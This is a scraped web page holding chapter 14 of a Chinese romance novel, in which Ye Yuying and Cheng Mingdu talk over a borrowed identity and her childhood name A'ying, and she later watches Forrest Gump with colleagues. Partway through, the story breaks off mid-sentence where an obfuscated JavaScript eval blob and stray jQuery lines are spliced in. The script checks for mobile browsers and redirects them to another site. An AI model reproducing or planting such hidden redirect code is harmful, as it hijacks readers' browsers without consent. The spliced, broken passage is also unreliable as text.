默认冷灰
24号文字
方正启体

14.阿婴

作者:宿轻本书字数:K更新时间:
    叶语莺顿了顿,抬眸看他,眼里有一丝疲惫。


    “毕竟……这是真金白银砸下去,而我们,刚好很需要。不然就只能团队解体。大家过了为爱发电的年纪了,再好的私人关系,也不能让人因为我找不到投资而房贷断供吧?”


    她忽然轻笑了一下,笑意却不达眼底。


    “你会不会觉得,我这些年变了很多?”


    程明笃没有立刻回答,而是看了她一会儿,然后调整了身体的姿势,稍显正式。


    他看向叶语莺的眼底,语气一如既往淡然,但是却掷地有声:


    “如果这层身份能让你在江城畅通无阻……”他说,“那么,我给你。”


    叶语莺心中大为震颤,她嘴角露出嘲讽的笑意,问道:“让人误以为我是你同母异父的亲妹妹,招摇撞骗?”


    程明笃微微收回视线,低头看着茶几上那束小雏菊,指尖轻敲了两下桌缘,像是在衡量和斟酌。


    良久,他才开口,声音低而平稳:“招摇撞骗,是你说的。我的意思是,这个身份可以用来抵挡风头、获取资源、争取公平的对待、避免不必要的麻烦——这可以有。”


    他说得平静,像在谈一份简单的协议,不带情绪。


    叶语莺却像被什么重重击中,半晌没有说话。


    “这名头一点都不重要,我也没有为你撑开保护伞。你现在有能力让这个世界为你打开门。”


    她的手指轻轻掐着拐杖的握把,骨节泛白,目光落在他那一丝不苟的衬衣袖扣上,薄薄的一枚金属图腾,距离太远看不出具体图案,在昏黄灯光下有些晃眼。


    “你不怕我真的拿这身份去要东西?”她声音低下来,带着点不易察觉的哑,“万一我用这个‘身份’,在你不知情的情况下,开口借力、套话,甚至跟人谈条件?”


    “你不会。”他截断她的话,声音不重,却带着不容置疑的确定。


    叶语莺抿了抿唇瓣,若有所思。


    “你现在狠厉、果断、头脑清醒,可以在融资会上咬牙说出‘我会主动让出控制权’这种话——”他顿了一下,语气却不知不觉柔和下来,“但我始终认为你没变。”


    “如果你要利用我来给自己铺路……当初就不会,不辞而别了。”


    叶语莺霍然抬头。


    那句话像一根细针,悄无声息地扎破了她心里那层已经结痂许久的旧伤。


    很轻的语调,道尽了她心里埋藏得最深的的想法,抽丝剥茧抽去她伪装的壳。


    叶语莺握着拐杖的手越发收紧,几乎要在那金属层上印出指印来。


    她没说话,只静静地看着他,眼神沉着,但眼角仿佛隐有微光浮动,仿佛是白日柔碎在她眼里的阳光。


    “你……释怀了吗?”她的声音低下来。


    程明笃没有避开她的目光,隐去他眼神里轻易出现的锋芒,淡然地看着她的眼,嘴里却否认道:“没有……”


    他该如何释怀?没有任何法门。


    就算有再高的学历,脑子再灵活,手握再大的权力,这个问题都是无解的。


    叶语莺偏了偏头,将心中真实想法娓娓道来:“但是……我当时无法跟你亲口告别。”


    “因为一旦说出口,我一定走不掉。”


    “即便你不怪我、不追问,也不阻拦我,但只要你站在那里,我就再也走不掉。”


    所以只能选择逃。


    她的声音轻得像一根断裂的线。


    她抬起眼,望着他,眼神里有惭愧,也有一种极端的清醒。


    “的确,你可以给我想要的一切,甚至远远超乎我所能想象到的。”


    “但是我要的东西一直都很明确——我要拥有自己的姓名。”


    她早已学会用最轻的语气将心里的在意一笔带过,那清晰而平静的语调从雏菊花瓣上掠过,几乎不着痕迹。


    程明笃眸光落下,指尖还搭在茶几边沿,停了一瞬。


    他没急着说话,垂下眸子波涛汹涌。


    空气压抑了良久,他才低声说了一句:“你已经拥有了。”


    这句话极轻,落在休息厅的光影里,如同《阿甘正传》开头的那根羽毛,拂过叶语莺心里那个始终发烫的地方。


    她轻轻吸了口气,重新端正坐姿,“可能,快了。”


    手机此时无声亮起,是丁楚的消息。


    她低声说:“我该走了,丁楚还在外头等我。”


    程明笃点头,没有多言。


    她拄着拐杖起身,走得依旧稳。


    他盯着那花,良久不语。


    仿佛过了很久,他喃喃自语地问一句:“拥有姓名的叶语莺,还能将阿婴还给我吗?”


    声音轻得仿佛连他自己都听不清。


    “阿婴”这个称谓,终究还是随着空气飘入她的耳畔。


    很久之前的名字了啊……自从姑姑离世后,他是这世上最后一个还能用阿婴唤她的人。


    是阿婴,她的乳名,是她未经世界塑形之前的样子……


    原本她叫叶语婴,外婆觉得婴字太轻,怕福薄,所以改成了叶语莺。


    这名字,温柔而私密,曾经这个名字从他口中脱口而出的时候……


    她当时精神崩溃到了极点,站上了学校天台,离坠落只有半步之遥。


    在人生至暗时刻,是这个名字救了她一命,程明笃喊出它——唤回了她最初的自己。


    她的人生充满硬核又残酷的现实,而“阿婴”是她心底唯一残存的温软与光芒,就像一块发热的小石头,在她冷掉的世界里一直藏着余温。


    后来,他们一起在午夜沉沦,他依旧唤这个名字。


    她靠在他怀里,额头抵着他的锁骨,像一只倦鸟。


    他手指轻轻顺着她的发尾,一下一下,像是安抚,语气温柔得几乎能将她在这慌乱的世界里包裹住。


    那是她无数次深夜崩溃时唯一能让她短暂获得安全感的声音。


    “阿婴”这个名字,她从未告诉过别人。


    在所有文件上,在媒体报道中,在她演讲的PPT、名片、简历、商业计划书的末尾,永远只有那个字正腔圆、锋利清晰的三个字——叶语莺。


    她从来没有给过别人任何机会去靠近那个名字,除了程明笃。


    她眷念,她好眷念,无比眷念。


    她的脚步在半空中迟疑半秒,终究没有回头。


    她忍着眼眶发涩,走向出口。


    有时候命运把两人放回彼此的棋盘里,可中间隔了太久,足以将一切改变,即便物理上相逢,却谁也不在原来的位置。


    *


    资金下来得很快,叶语莺将隔壁的办公室也租了下来,这样大家的工作环境能宽敞点。


    她享受夜幕降临后将电脑的光线调到最暗,让城市的黑夜将自己包裹,一点点操纵着鼠标,一寸寸细数模型上的细节。


    出来喝水的时候,隔壁办公室灯被关上,忽明忽暗闪着光,她端着水杯路过,发现大家正在把幕布放下来一起看电影。


    她笑了笑,准备直接回去。


    “老大,我们在看《阿甘正传》要一起吗?”丁楚起身冲她挥挥手。


    叶语莺停住脚步,杯子里的水微微晃动。


    片刻后,她转头看了眼那间放映室。


    幕布上正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15332013|167021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是那片开场的羽毛,缓缓飘落,在城市上空无根地游荡,像命运的一根偶然,又像某种注定的温柔。


    “你看过《阿甘正传》吗?经典电影,我们刚好都没看过。”


    叶语莺眼睫颤了颤,忽然笑了,声音很轻,“看过。”


    很多遍,多到已经无法计数。


    羽毛在城市街头、车顶、风中盘旋。


    “Hello. My name''s Forrest, Forrest Gump.”(你好,我叫福雷斯特,福雷斯特·甘。)


    “Do you want a chocolate?”(你要块巧克力吗?)


    “I could eat about a million and a half of these.”(我能吃掉大约一百五十万块这个。)


    叶语莺站在角落,拐杖靠着膝侧,没有看屏幕,光影斜落在她的脸颊上,她双唇微动,和着阿甘的声音,一字一句默念。


    “My mama always said, life was like a box of chocolates. You never know what you''re gonna get.”(我妈妈常说,人生就像一盒巧克力,你永远不知道你会拿到哪一颗。)


    她的声音与旁白交融,一男一女,却好似彰显着某种被暗示过的命运。


    画面中,羽毛飘落,落在一双脏兮兮的球鞋前。


    “Those must befortable shoes. I bet you could walk all day in shoes like that and not feel a thing.”(你那鞋子一定很舒服。我敢说穿着那种鞋能走一整天都不会累。)


    “I wish I had shoes like that.” (真希望我也有那样的鞋。)


    “There''s an awful lot you could tell about a person by their shoes. Where they''re going, where they''ve been.”(从一个人的鞋子,你能看出很多东西。他要去哪,他曾经到过哪。)


    阿甘把羽毛捡起来,小心翼翼地夹进了书页,坐在长椅上,抬头微笑。


    “I’ve worn lots of shoes. I bet if I think about it real hard, I can remember my first pair of shoes.”(我穿过很多鞋子。我敢打赌,如果我努力回忆,我一定能想起我的第一双鞋。)


    叶语莺仿佛在跟着电影吟唱独白,靠着门框,闭上眼——记忆里她也有这样一双鞋,初中的时候,一双助力她短跑的钉鞋。


    程明笃买了之后寄过来的。


    她穿着那双鞋,在那些不带期待的目光里,奇迹般破了校记录,又一路跑向区运动会……最后成为蓉城一高特招的体育特长生,和程明笃拥有了同样的高中母校。


    那一刻,她觉得自己仿佛离程明笃更近一步,她抬手就能够到光束的边缘了……终于……


    “Mama said they''d take me anywhere.”(妈妈说它们会带我去任何地方。)


    “She said they was my magic shoes.”(她说那是我的魔法鞋。)
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)